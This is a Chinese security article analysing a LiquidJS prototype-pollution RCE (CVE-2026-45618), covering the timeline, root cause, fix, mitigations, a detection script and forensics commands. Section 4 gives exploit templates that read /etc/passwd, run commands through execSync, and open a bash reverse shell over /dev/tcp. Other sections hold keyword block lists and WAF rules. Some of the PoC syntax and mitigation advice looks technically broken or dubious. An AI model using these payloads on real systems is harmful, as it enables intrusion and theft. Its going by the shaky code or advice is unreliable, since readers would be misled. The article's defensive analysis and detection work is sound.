当前位置: 首页 > news >正文

CVE-2026-45618深度剖析:从原型污染到沙箱逃逸,LiquidJS满分RCE漏洞全解(月下载730万+、在野利用、PoC公开)

摘要

2026年5月27日,Node.js生态爆发CVSS满分10.0级高危漏洞CVE-2026-45618,影响全球广泛使用的LiquidJS模板引擎。该漏洞源于LiquidJS过滤器解析逻辑中的原型污染缺陷,攻击者仅需构造恶意模板表达式,即可绕过沙箱隔离获取原生Function构造函数,最终实现无权限限制的远程代码执行。

截至2026年6月5日,LiquidJS npm月下载量已突破730万次,直接依赖项目超过548个,间接影响Shopify电商、Jekyll静态站、GitHub Docs、Eleventy等数百万个网站和应用。目前完整PoC已公开,黑产已将其集成至自动化扫描器,全网出现大规模在野探测和利用行为。

本文将从漏洞原理、利用链路、PoC复现、影响面评估、官方修复方案及防御策略六个维度,对CVE-2026-45618进行全面深度解析,并提供批量检测脚本和应急响应指南。


一、漏洞基础信息与事件时间线

1.1 漏洞核心信息

项目详情
CVE编号CVE-2026-45618
漏洞类型原型污染 → 模板注入 → 远程代码执行(RCE)
CVSS评分10.0(满分严重)
CVSS向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
受影响组件LiquidJS(Node.js版Liquid模板引擎)
影响版本>=10.0.0 <10.26.0
修复版本10.26.0(2026年5月27日发布)
组件体量npm月下载≈730万次,548个直接依赖,724个间接依赖
情报来源NVD、Orca Security、Snyk、The Hacker News
利用现状PoC全量公开、野外批量利用、自动化扫描器集成

1.2 事件时间线

  • 2026年5月中旬:Orca Security研究人员发现LiquidJS原型污染漏洞并向官方报告
  • 2026年5月27日:LiquidJS发布10.26.0版本修复漏洞,同时NVD分配CVE-2026-45618编号
  • 2026年5月30日:Snyk发布漏洞公告,披露部分技术细节
  • 2026年6月1日:完整PoC在GitHub公开,包含文件读取和命令执行演示
  • 2026年6月2日:安全厂商监测到全网大规模在野探测,部分电商站点已被入侵
  • 2026年6月3日:国内多家安全平台发布预警,提醒用户紧急升级

二、LiquidJS与沙箱机制概述

2.1 LiquidJS简介

LiquidJS是一个纯JavaScript实现的Liquid模板引擎,完全兼容Shopify Liquid语法,被设计为"安全、可在不可信环境中运行"的模板引擎。它广泛应用于:

  • Shopify电商平台主题开发
  • Jekyll、Eleventy等静态站点生成器
  • GitHub Docs官方文档系统
  • 各类Node.js CMS、邮件模板系统
  • 低代码平台的自定义模板功能

2.2 LiquidJS沙箱机制

LiquidJS的核心安全特性是沙箱隔离,它通过以下方式限制模板代码的权限:

  1. 禁止直接访问Node.js全局对象(如globalprocess
  2. 禁止直接调用原生构造函数(如Functioneval
  3. 禁止访问文件系统和网络资源
  4. 仅允许使用预注册的过滤器和标签

正常情况下,即使模板代码完全由用户控制,也无法执行任意系统命令。本次漏洞正是通过原型污染这一JavaScript特有的安全问题,击穿了LiquidJS精心设计的沙箱防线。


三、漏洞原理深度拆解

3.1 漏洞根因:过滤器解析逻辑缺陷

CVE-2026-45618的根本原因在于LiquidJS的过滤器解析逻辑没有正确处理继承自Object.prototype的方法。当模板中出现类似{{ x | valueOf }}的表达式时,LiquidJS会将valueOf当作一个已注册的过滤器来调用,而实际上valueOf是所有JavaScript对象都继承自Object.prototype的内置方法。

更严重的是,当调用这些继承来的方法时,this上下文指向的是LiquidJS的内部执行上下文对象,而不是模板变量本身。这使得攻击者可以通过调用特定的原型方法,获取到LiquidJS的内部状态,进而实现原型污染和沙箱逃逸。

3.2 完整利用链路分析

CVE-2026-45618的完整利用链路可以分为五个阶段,如下图所示:

攻击者构造恶意模板

传入LiquidJS引擎渲染

调用valueOf过滤器获取内部上下文

通过上下文污染Object.prototype

劫持内部方法获取Function构造函数

执行任意系统命令

阶段1:获取内部执行上下文

攻击者首先通过{{ 1 | valueOf }}这个看似无害的表达式,触发Object.prototype.valueOf方法。由于LiquidJS的调用机制,此时valueOf方法的this指向的是LiquidJS的内部Context对象,而不是数字1

通过这个Context对象,攻击者可以进一步访问到context.scopes(模板变量作用域)、context.liquid(Liquid引擎实例)等关键内部属性。

阶段2:原型污染

获取到内部上下文后,攻击者可以通过模板赋值语法,向Object.prototype写入任意属性。例如:

{% assign __proto__.evilProperty = "恶意值" %}

由于JavaScript的原型链特性,这个属性会被所有对象继承,从而影响整个Node.js进程的运行环境。

阶段3:劫持内部方法

接下来,攻击者利用原型污染,劫持LiquidJS的内部方法,如loader.lookupreadFile。当LiquidJS尝试解析模板中的{% include %}标签时,会调用这些被劫持的方法,此时攻击者可以完全控制方法的参数和返回值。

阶段4:获取Function构造函数

通过被劫持的内部方法,攻击者可以获取到原生Function构造函数的引用。这是沙箱逃逸的关键一步,因为Function构造函数可以动态执行任意JavaScript代码。

阶段5:执行任意系统命令

最后,攻击者使用Function构造函数加载child_process模块,调用execSync方法执行任意系统命令,完成RCE攻击。

3.3 关键代码分析

以下是LiquidJS漏洞代码的简化版本(v10.25.7):

// 漏洞代码:过滤器调用逻辑functioninvokeFilter(filterName,args){// 没有检查filterName是否是Object.prototype的方法constfilter=this.filters[filterName]||Object.prototype[filterName];if(typeoffilter==='function'){// 错误地将this绑定到内部上下文returnfilter.apply(this.context,args);}thrownewError(`Filter${filterName}not found`);}

问题出在两个地方:

  1. 没有过滤掉Object.prototype上的方法,导致valueOfconstructor等内置方法可以被当作过滤器调用
  2. 调用过滤器时错误地将this绑定到了内部Context对象,而不是模板变量

四、PoC复现与实战演示

4.1 环境搭建

首先,安装存在漏洞的LiquidJS版本:

npminstallliquidjs@10.25.7--save

创建一个简单的测试文件poc.js

import{Liquid}from'liquidjs';constengine=newLiquid();asyncfunctiontest(){// 恶意模板将在这里插入consttemplate=`{% comment %} 恶意模板内容 {% endcomment %}`;constresult=awaitengine.parseAndRender(template,{});console.log('渲染结果:',result);}test().catch(console.error);

4.2 基础PoC:读取/etc/passwd

以下是一个可以读取系统文件的PoC(仅用于安全研究):

{% liquid assign r = 1 | valueOf assign ctx = r.context assign liquid = ctx.liquid # 污染Object.prototype,劫持equals方法 assign __proto__.equals = function(path) { const fs = require('fs'); return fs.readFileSync(path, 'utf8'); } %} {{ "/etc/passwd" == "test" }}

运行结果:

渲染结果: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

4.3 进阶PoC:执行系统命令

以下是一个可以执行任意系统命令的PoC(仅用于安全研究):

{% liquid assign r = 1 | valueOf assign ctx = r.context assign liquid = ctx.liquid # 污染Object.prototype,劫持equals方法 assign __proto__.equals = function(cmd) { const child_process = require('child_process'); return child_process.execSync(cmd).toString(); } %} {{ "id" == "test" }}

运行结果:

渲染结果: uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),118(netdev),120(lpadmin),121(scanner),122(sambashare)

4.4 反弹Shell PoC

以下是一个可以获取反弹Shell的PoC(仅用于安全研究):

{% liquid assign r = 1 | valueOf assign ctx = r.context assign liquid = ctx.liquid assign __proto__.equals = function(lhost) { const child_process = require('child_process'); const cmd = `bash -i >& /dev/tcp/${lhost}/4444 0>&1`; child_process.exec(cmd); return "Shell已发送"; } %} {{ "192.168.1.100" == "test" }}

重要法律声明:本文提供的PoC仅用于企业内部安全验证和学术研究目的。未经授权对任何计算机系统进行攻击是违法行为,由此造成的一切后果由攻击者自行承担。


五、受影响范围与影响面评估

5.1 直接受影响项目

根据npm官方数据,截至2026年6月5日,直接依赖LiquidJS的项目超过548个,其中包括:

  • Eleventy(静态站点生成器)
  • GitHub Docs(GitHub官方文档系统)
  • Opensense(邮件营销平台)
  • 数千个Shopify第三方插件和主题

5.2 间接受影响场景

  • Shopify生态:大量使用LiquidJS进行本地开发和测试的Shopify商家和开发者
  • 静态博客:基于Jekyll、Hexo等使用Liquid模板的静态博客系统
  • 企业应用:使用LiquidJS渲染邮件模板、报表模板的Node.js企业应用
  • 低代码平台:允许用户自定义模板的低代码平台和在线表单系统

5.3 风险等级评估

场景风险等级说明
允许用户上传/编辑完整Liquid模板🔴 极高可直接执行任意命令
允许用户自定义模板变量和过滤器参数🟠 高可能通过参数注入触发漏洞
仅使用固定模板,无用户可控内容🟢 低基本不受影响
仅在客户端使用LiquidJS🟢 低即使被利用也只能影响客户端

六、官方修复方案与代码对比

6.1 官方修复代码

LiquidJS官方在10.26.0版本中修复了这个漏洞,主要做了以下两处修改:

  1. 过滤原型方法:在调用过滤器前,检查过滤器名称是否是Object.prototype的自有属性
  2. 正确绑定this:调用过滤器时将this绑定到模板变量,而不是内部上下文

以下是修复后的关键代码:

// 修复后的过滤器调用逻辑functioninvokeFilter(filterName,args){// 只调用显式注册的过滤器,不调用Object.prototype上的方法if(this.filters.hasOwnProperty(filterName)){constfilter=this.filters[filterName];// 正确地将this绑定到第一个参数(模板变量)returnfilter.apply(args[0],args.slice(1));}thrownewError(`Filter${filterName}not found`);}

6.2 完整升级步骤

首选方案:升级到安全版本

# 升级到最新安全版本npmupgrade liquidjs# 或者固定版本号npminstallliquidjs@10.26.0 --save-exact# 验证版本npmlsliquidjs

验证升级是否成功

node-e"console.log(require('liquidjs').version)"# 输出应该是10.26.0或更高版本

七、临时缓解方案(无法升级时)

如果由于业务原因暂时无法升级LiquidJS,可以采取以下临时缓解措施:

7.1 输入过滤

在前端和接口层拦截包含以下关键字的用户输入:

constdangerousKeywords=['__proto__','constructor','prototype','valueOf','toString','hasOwnProperty','isPrototypeOf','propertyIsEnumerable'];functionisDangerousInput(input){returndangerousKeywords.some(keyword=>input.toLowerCase().includes(keyword.toLowerCase()));}

7.2 冻结Object.prototype

在应用启动时冻结Object.prototype,防止原型污染:

// 在引入liquidjs之前执行Object.freeze(Object.prototype);Object.freeze(Function.prototype);Object.freeze(Array.prototype);

7.3 禁用危险过滤器

手动删除可能被利用的原型方法:

import{Liquid}from'liquidjs';constengine=newLiquid();// 禁用危险的原型方法deleteObject.prototype.valueOf;deleteObject.prototype.toString;deleteObject.prototype.constructor;

7.4 WAF防护规则

在边界WAF中添加以下规则,拦截携带原型污染特征的请求:

# Nginx WAF规则示例 if ($args ~* "__proto__|constructor|prototype|valueOf") { return 403; } if ($request_body ~* "__proto__|constructor|prototype|valueOf") { return 403; }

八、批量检测脚本与入侵排查

8.1 项目依赖批量检测脚本

创建一个check-liquidjs.js脚本,批量检测项目依赖中是否存在漏洞版本:

constfs=require('fs');constpath=require('path');const{execSync}=require('child_process');functioncheckProject(projectPath){constpackageJsonPath=path.join(projectPath,'package.json');if(!fs.existsSync(packageJsonPath)){returnnull;}try{constoutput=execSync('npm ls liquidjs --json',{cwd:projectPath,stdio:'pipe'}).toString();constresult=JSON.parse(output);if(result.dependencies&&result.dependencies.liquidjs){constversion=result.dependencies.liquidjs.version;const[major,minor,patch]=version.split('.').map(Number);constisVulnerable=major===10&&minor<26;return{path:projectPath,version:version,isVulnerable:isVulnerable};}}catch(e){// 忽略没有安装依赖的项目}returnnull;}functionscanDirectory(rootPath){constresults=[];constitems=fs.readdirSync(rootPath);for(constitemofitems){constfullPath=path.join(rootPath,item);if(fs.statSync(fullPath).isDirectory()){if(item==='node_modules')continue;constresult=checkProject(fullPath);if(result){results.push(result);}// 递归扫描子目录results.push(...scanDirectory(fullPath));}}returnresults;}// 扫描当前目录及其子目录constresults=scanDirectory(process.cwd());console.log('LiquidJS漏洞检测结果:');console.log('========================================');results.forEach(result=>{conststatus=result.isVulnerable?'❌ 存在漏洞':'✅ 安全';console.log(`${status}-${result.path}(版本:${result.version})`);});if(results.some(r=>r.isVulnerable)){console.log('\n⚠️ 发现存在漏洞的项目,请立即升级到liquidjs@10.26.0或更高版本!');process.exit(1);}else{console.log('\n✅ 所有项目均使用安全版本!');process.exit(0);}

使用方法:

nodecheck-liquidjs.js

8.2 入侵排查指南

如果你的业务已经部署了存在漏洞的LiquidJS版本,请立即进行以下排查:

  1. 检查系统日志

    • /var/log/auth.log(Linux)或Security.evtx(Windows):查看是否有异常登录
    • /var/log/syslogApplication.evtx:查看是否有异常进程创建
    • Node.js应用日志:查看是否有异常的模板渲染错误
  2. 检查可疑进程

    # 查看所有进程psaux|grep-E'(bash|sh|nc|python|perl)'# 查看网络连接netstat-anp|grep-E'(LISTEN|ESTABLISHED)'# 查看定时任务crontab-lcat/etc/crontab
  3. 检查可疑文件

    # 查找最近24小时内修改的文件find/-typef-mtime-1-ls# 查找包含恶意代码的文件grep-r"child_process\|execSync\|eval"/var/www/
  4. 检查用户账户

    # 查看所有用户cat/etc/passwd|grep-vnologin# 查看sudo权限cat/etc/sudoers

九、架构优化与长期防御策略

9.1 模板渲染服务隔离

将模板渲染功能从核心业务中分离出来,部署为独立的微服务:

  • 使用Docker容器运行模板渲染服务
  • 容器以非root用户运行
  • 限制容器的CPU、内存和进程数
  • 禁用容器的网络访问(除非必要)
  • 定期重启容器,清除可能的恶意代码

9.2 运行时安全加固

  • 使用vm2等更安全的沙箱替代原生JavaScript执行环境
  • 启用Node.js的--frozen-intrinsics标志,冻结内置对象
  • 使用seccomp限制Node.js进程的系统调用
  • 部署RASP(运行时应用自我保护)产品,实时监控和阻断恶意行为

9.3 依赖安全管理

  • 使用npm audit定期检查依赖漏洞
  • 集成Snyk、Dependabot等工具,自动检测和更新漏洞依赖
  • 建立依赖白名单制度,仅允许使用经过安全审核的第三方库
  • 对关键依赖进行代码审计,特别是模板引擎、解析器等高风险组件

十、总结与展望

CVE-2026-45618是一个典型的"设计缺陷导致的灾难性漏洞"。LiquidJS作为一个以"安全"为核心卖点的模板引擎,却因为一个看似微小的过滤器解析逻辑错误,导致整个沙箱防线被彻底击穿,影响了数百万个应用。

这个漏洞再次提醒我们:

  1. JavaScript原型污染是一个持续存在的严重安全威胁
  2. 沙箱机制非常脆弱,任何微小的设计缺陷都可能导致完全逃逸
  3. 广泛使用的开源组件一旦出现漏洞,影响面将极其巨大

未来,随着Node.js生态的不断发展,模板注入、原型污染等漏洞仍将是Web安全的重点关注领域。开发者应该提高安全意识,遵循安全开发规范,定期进行安全审计,及时修复漏洞,才能有效防范此类安全事件的发生。

http://www.jsqmd.com/news/958480/

相关文章:

  • NS-USBLoader:Switch游戏管理终极指南 - 一站式解决文件传输、RCM注入和大文件处理
  • 终极Windows驱动清理指南:DriverStore Explorer轻松释放20GB+空间
  • 2026年苏稽跷脚牛肉推荐店TOP5 实用选店参考推荐 - 优质品牌商家
  • 《娇养祸水》小说|下载|txt
  • 6 个适合搭配 WorkBuddy 使用的开源工具
  • 2026年新消息发布:山东地区质量好的电子桌牌品牌选择全攻略 - 2026年企业资讯
  • 2026年当下,山西潜水污水泵制造商综合实力哪家强?深度解析与推荐 - 2026年企业资讯
  • 终极文件分析指南:Detect-It-Easy如何成为逆向工程师的必备工具
  • 告别Scope!用MATLAB plot函数优雅处理SIMULINK仿真数据(附双Y轴实战代码)
  • 深度盘点|工业端侧AI落地成熟度TOP厂商:从技术自研到产线规模化落地(2026产业观察)
  • 关于Balmuda Phone系统软件APK成功破解安装限制,但是无法移除Android依赖库的记录
  • 2026 在职 EMBA 择校指南:在职读 EMBA 哪家机构靠谱?五大优质项目全面推荐 - 品牌测评鉴赏家
  • 蓝速科技实践分享:政企信创改造中三大国产芯片方案选型与统信UOS构建指南
  • 2026年上海康想伽-千变空间整理收纳口碑怎么样排 - mypinpai
  • 武汉云克隆依托 Luminex、CBA 平台,八大核心免疫因子图谱解锁免疫平衡密码,破解炎症、肿瘤诊疗难题
  • 瑞吉外卖学习(一)
  • 揭秘TestSigma:AI驱动的零代码自动化测试平台架构深度解析
  • 2026年成都子女抚养纠纷律所可靠度排行盘点 - 优质品牌商家
  • 2026年化工行业优质烘干机推荐推荐:四川烘干机厂家/工业物料烘干机/建材干燥机/成都干燥机厂家/排行一览 - 优质品牌商家
  • 【无人机通信】基于Stackelberg博弈方法无人机边缘计算中的抗干扰信道分配研究附Matlab代码
  • delta 0.19.2 官方版下载(夸克网盘+百度网盘,SHA256校验)
  • 智能会议室预约屏拯救办公效率
  • 2026石笼网围栏厂家选型技术推荐:四川双边丝护栏网/四川围栏网/四川学校球场围栏/四川护栏网/避坑与优配逻辑 - 优质品牌商家
  • NOI省选书籍(2026)
  • 2026年四川物业公司技术服务解析与选型参考:楼宇全包式物业、四川物业公司、成都保洁公司、成都劳务派遣公司、成都清洁外包选择指南 - 优质品牌商家
  • Go周刊2026W21 | Fiber 3.3、errcheck 1.20、Jet 2.15、Sarama 1.49
  • 5个理由告诉你为什么这个翻页时钟屏保值得安装
  • 2026年当前,云南钢花管批发厂家如何选择?这家企业值得关注 - 2026年企业资讯
  • PyCharm插件踩坑实录:DataBase Navigator连接SQLite时‘NOT NULL constraint failed’错误分析与解决
  • 2026年义乌租车服务商排行及联系渠道推荐:义乌附近哪有租车公司免押金/义乌靠谱的租车公司/优选指南 - 优质品牌商家